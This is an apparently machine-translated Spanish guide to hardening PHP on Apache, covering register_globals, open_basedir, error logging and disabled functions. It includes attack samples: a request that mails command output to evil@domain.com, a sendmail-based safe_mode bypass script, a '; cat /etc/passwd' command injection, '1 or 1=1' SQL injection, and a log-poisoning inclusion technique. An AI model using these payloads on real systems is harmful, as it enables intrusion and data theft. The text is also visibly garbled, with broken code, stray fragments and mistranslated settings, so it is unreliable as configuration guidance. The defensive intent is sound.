¿Cómo configurar la configuración de seguridad de PHP para hacerlo más seguro?
De hecho, PHP es solo una función del módulo del servidor web, por lo que primero se debe garantizar la seguridad del servidor web. Por supuesto, si un servidor web quiere ser seguro, primero debe garantizar la seguridad del sistema. Esto es inverosímil e interminable. PHP se puede combinar con varios servidores web. Aquí sólo se analiza Apache. Se recomienda encarecidamente instalar e iniciar Apache en modo chroot, de modo que incluso si hay vulnerabilidades en Apache, PHP y sus scripts, solo el sistema encarcelado se verá afectado y el sistema real no se verá afectado. Sin embargo, el uso de Apache con chroot también traerá algunos problemas a la aplicación. Por ejemplo, al conectarse a MySQL, debe usar la dirección TCP 127.0.0.1 en lugar de usar localhost para implementar la conexión de socket, lo que será un poco menos eficiente. La función de correo para enviar correos electrónicos también es un problema, porque en php.ini:
[Función de correo]
;
SMTP=localhost
; solo Win32.
Dirección de correo electrónico de envío = me@localhost.com
Todos son para la plataforma Win32, por lo que sendmail debe ajustarse en el entorno chroot.
En segundo lugar, problemas con el propio PHP
1. Desbordamiento remoto
Todas las versiones inferiores a PHP-4.1.2 tienen un desbordamiento remoto del búfer de carga de archivos La vulnerabilidad y el ataque El programa ha circulado ampliamente y la tasa de éxito es muy alta:
/evil.php? bar = /usr/bin/id |mail evil@domain.com
Esto envía los resultados de la ejecución del id a evil@domain.com.
Para PHP 4.0.6 a 4.2.2, romper la restricción del modo seguro en realidad usa el parámetro -C de sendmail, por lo que el sistema debe usar sendmail. El siguiente código puede romper las restricciones de modo_seguro para ejecutar comandos:
& lt?
#Tenga en cuenta que los dos últimos no deben existir, o su propietario es el mismo que el propietario de este script.
$ script = "/tmp/script 123 ";
$ cf = "/tmp/cf 123 ";
$fd = fopen($cf) , " w ");
fwrite(FD, "OQ/tmp
sparse=0
R$*.chr(9)."$# local $@ $1 $: $1
Mlocal, P=/bin/sh, A = sh $ script ");
fclose($ FD);
$fd = fopen($script, "w");
fwrite($fd, "RM-f $script $cf;");
fwrite($fd, $ cmd);
fclose($ FD);
correo("nadie","","","-C $cf");
& gt
Los usuarios que todavía usan la versión problemática de PHP deben actualizar a la última versión a tiempo para eliminar los problemas de seguridad básicos.
En tercer lugar, la propia configuración de seguridad de PHP.
La configuración de PHP es muy flexible. Puede usar php.ini, /bid/3361.
Cuando se lanza PHP-4.1.0, se recomienda desactivar Register_globals y proporcionar. Hay 7 variables de matriz especiales para usar con varias variables. Las variables de GET, POST, COOKIE, etc. no se registran directamente como variables, pero se debe acceder a ellas a través de variables de matriz cuando se lanzó PHP-4.2.0. está registrado_globals = Desactivado.
Esto permite que el programa utilice el valor predeterminado inicializado por el propio PHP, que suele ser 0, evitando que los atacantes controlen las variables de juicio.
Solución:
Establezca Register_globals = Off en el archivo de configuración php.ini.
El programador necesita inicializar un valor para la variable como juicio al comienzo del programa.
3. Abra el archivo
Fragmento de código vulnerable:
& lt?
//test_2.php
if (!($ str = readfile(" $ nombre de archivo ")){
echo("No se puede abrir el archivo:$ nombre de archivo & ltBR & gt\ n ");
Salir;
}
else{
echo $ str
}
& gt
Dado que el atacante puede especificar cualquier nombre de archivo $, el atacante puede ver /etc/passwd con la siguiente solicitud:
/ oferta/4303
& lt?
//test_6.php
system("traceroute $a_query ", $ ret _ strs
);& gt
Debido a que el programa no filtra la variable $a_query, un atacante puede usar un punto y coma para agregar comandos
Un atacante puede ejecutar cat / ingresando la siguiente solicitud Comando .etc/passwd:
; cat /etc/passwd
Las funciones de ejecución de comandos de PHP incluyen system(), passthru(), popen() y ` `. precaución Si desea usarlo, debe verificar estrictamente la entrada del usuario.
Los programadores deben usar la función escapeshellcmd() para filtrar los comandos de shell ingresados por el usuario >
Habilitar el modo seguro. elimina muchos problemas en la ejecución de comandos, pero debe tenerse en cuenta que la versión de PHP debe ser la más reciente. Las versiones inferiores a PHP-4.2.2 pueden evitar las restricciones del modo seguro y ejecutar comandos
7. inyección
Si las variables no se procesan, se producirán problemas en las siguientes sentencias SQL:
seleccione * desde el inicio de sesión, donde usuario=$usuario, pase=$contras
Un atacante puede ingresar el nombre de usuario y la contraseña 1 o 1=1 para evitar la autenticación.
Afortunadamente, PHP tiene una opción predeterminada magic_quotes_gpc = On, que agrega automáticamente la operación addlashes() a las variables en GET. , POST y COOKIE La declaración SQL anterior se convierte en:
seleccione * desde el inicio de sesión donde usuario=1\ o 1=\1, pass=1\ o 1=\1
. Para evitar este ataque sql_inject
Para campos de tipo numérico, muchos programadores escribirán así:
seleccione * de la prueba, donde id=$id
Porque. la variable no se expande con comillas simples, provocará un ataque sql_inject. Gracias a las funciones simples de Mysql, no existen declaraciones SQL para ejecutar comandos en bases de datos como sqlserver. La función mysql_query() de PHP solo permite la ejecución de una declaración SQL, por lo que los ataques que utilizan punto y coma para separar varias declaraciones SQL no pueden funcionar. Pero el atacante puede al menos hacer que la declaración de la consulta sea incorrecta, filtrar información sobre el sistema o causar algunas situaciones inesperadas.
Solución:
Los programadores necesitan filtrar todas las variables enviadas por el usuario para poder incluirlas en la declaración SQL.
Incluso si es un campo numérico, la variable debe expandirse con comillas simples y MySQL procesará la cadena en un número por sí mismo.
En MySQL, los usuarios que no otorgan permisos de alto nivel al programa PHP solo pueden operar sus propias bibliotecas, lo que también evita que los problemas con el programa sean atacados por SELECT INTO OUTFILE...
8. Mensajes de advertencia y error
PHP muestra todos los mensajes de advertencia y error de forma predeterminada:
Informe de errores = E_ALL & amp~notificación electrónica
display_errors = On
p>Esto es muy útil durante el desarrollo normal y los errores del programa se pueden descubrir inmediatamente según el mensaje de advertencia.
En aplicaciones formales, los mensajes de advertencia y error confunden a los usuarios, revelan la ruta física del script a los atacantes y les brindan información beneficiosa para futuros ataques. Y como no accedí al lugar equivocado, no pude corregir el error del programa a tiempo. Por lo tanto, es muy prudente registrar todas las advertencias y errores de PHP en un archivo de registro, es decir, no para revelar la ruta física al atacante, sino también para informarle dónde está el error del programa.
Modifique las secciones de registro y manejo de errores en php.ini:
Reporte de errores = E_ALL
Mostrar errores = Cerrar
log_errors = En
error _ log =/usr/local/Apache/logs/PHP _ error .
Luego reinicie Apache y preste atención al archivo /usr/local/Apache/logs. /PHP_error.log debe poder ser escrito por el usuario nadie.
9. Disable_functions
Si cree que algunas funciones aún son amenazantes, puede configurar enable_functions en php.ini (esta opción no se puede configurar en httpd. conf), como por ejemplo:
disable_functions = phpinfo,get_cfg_var
Puedes especificar múltiples funciones, separadas por comas. Después de reiniciar Apache, las funciones phpinfo y get_cfg_var están deshabilitadas. Se recomienda cerrar las funciones phpinfo y get_CFG_var. Estas dos funciones filtran fácilmente información del servidor y no tienen ningún uso práctico.
10. Disable_class
Esta opción solo está disponible a partir de PHP-4.3.2. Puede deshabilitar ciertas clases si hay varios nombres de clases separados por comas. Disable_classes no se puede configurar en httpd.conf y solo se puede modificar en el archivo de configuración php.ini.
11. open_basedir
En el análisis de rutina anterior, se mencionó muchas veces que la ruta de operación del script está restringida por open_basedir. Aquí volveremos a presentar sus características. El límite especificado con open_basedir es en realidad un prefijo, no un nombre de directorio. Es decir, "open_basedir = /dir/incl" también permitirá el acceso a "/dir/include" y "/dir/incls" si existen. Si desea restringir el acceso a un directorio específico, finalice el nombre de la ruta con una barra. Por ejemplo "open_basedir = /dir/incl/".
Puedes configurar varios directorios. En Windows, los directorios están separados por punto y coma. Separe directorios con dos puntos en cualquier otro sistema. Como módulo de Apache, la ruta open_basedir en el directorio principal se hereda automáticamente.
4. Otras configuraciones de seguridad
1. Cancelar el permiso de otros usuarios para leer y escribir comandos del sistema importantes y de uso común.
Generalmente, los administradores sólo necesitan un usuario normal y un usuario administrativo para el mantenimiento. Además de estos dos usuarios, cuantas menos cosas puedan ejecutar y acceder a otros usuarios, mejor. Por lo tanto, si hay vulnerabilidades en el programa o servicio, cancelar los permisos de lectura y escritura de otros usuarios para comandos del sistema importantes y de uso común causará. Los atacantes causan mucho caos.
Recuerde eliminar el permiso del enlace; de lo contrario, se puede ejecutar como /lib/ld-linux.so.2 /bin/ls en Linux.
Si quieres cancelar un programa, es más fácil hacerlo en un entorno chroot; de lo contrario, sigue siendo un poco complicado. Porque cancelar los permisos de ejecución de algunos programas hará que algunos servicios se ejecuten de forma anormal. La función de correo de PHP requiere que /bin/sh llame a sendmail para enviar mensajes, por lo que el permiso de ejecución de /bin/bash no se puede eliminar. Este es un trabajo bastante agotador.
2. Elimina los permisos de lectura de otros usuarios del registro de Apache.
El registro de acceso de Apache proporciona una puerta conveniente para algunos programas con vulnerabilidades de inclusión local. Al enviar una URL que contiene código PHP, puede hacer que access-log incluya código PHP y luego apuntar el archivo de inclusión a access-log para ejecutar ese código PHP, obteniendo así acceso local.
Si hay otros hosts virtuales, los permisos de lectura de otros usuarios sobre los archivos de registro deben eliminarse en consecuencia.
Por supuesto, si configura PHP como se describe anteriormente, generalmente es imposible leer el archivo de registro.